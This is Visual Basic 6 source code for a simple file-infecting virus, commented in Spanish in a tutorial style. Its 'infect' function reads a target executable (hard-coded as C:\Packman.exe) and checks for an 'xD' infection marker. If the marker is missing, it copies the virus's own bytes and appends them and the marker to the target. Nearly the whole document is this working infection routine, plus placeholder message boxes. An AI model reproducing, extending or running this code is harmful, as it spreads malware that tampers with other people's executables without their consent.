Private Const PV = 12288  ' contstante donde meto el peso de mi virus
Option Explicit

Private Sub Form_Load()
infect ("C:\Packman.exe")  ' infect..la funcion..pakman + ruta..esta claro
End Sub

Private Sub Timer1_Timer()
MsgBox " soy el codigo del virus"         ' un timer...que no mas es d ejemplo
Me.Caption = "soy el caption del virus"
MsgBox " soy otra parte del codigo"
Me.Caption = "yo tb ;) "
End Sub

Private Function infect(fileainfectar As String) As Boolean
Dim buffer As String  ' una variable que la vamos a usar como buffer para almasenar el peso del husped
Dim viruspv As String




Open fileainfectar For Binary Access Read As #1  ' abrimos el file a infectar el huesped para leer dedatos
buffer = Space(LOF(1))  ' en la val, buffer le decimos LOF(1) = al peso del huesped
Get #1, , buffer   'leemos en el canal uno la variable buffer
Close #1 'cerramos

If (Right(buffer, 2) <> "xD") Then ' una condicion, le añadimos a buffer en los dos últimos bytes de la app una marka viral para saber si el file esta infectao y entonces infectarlo
MsgBox "el archivo no esta markado x lo tanto no esta infectado, vamos a infectarlo ;)"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #2  ' nos abrimos a nosotros mismo ( al virus en el canal2 )
viruspv = Space(PV)  ' en viruspv ( peso del virus ) metemos PV la constante k tiene todo nuestro peso
Get #2, , viruspv  'leemos los datos de la val, viruspv
Close #2 'ceramos 


Open fileainfectar For Binary Access Write As #3  'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer  ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv  ' lo mismo con el peso del virus
Put #3, , "xD"  ' y la marka de infecion
Close #3  'cerramos

Else ' un else--.--
MsgBox " el file que queremos infectar tiene nuestra MARKA...esta infectado, provemos con otro ;)"

End If

End Function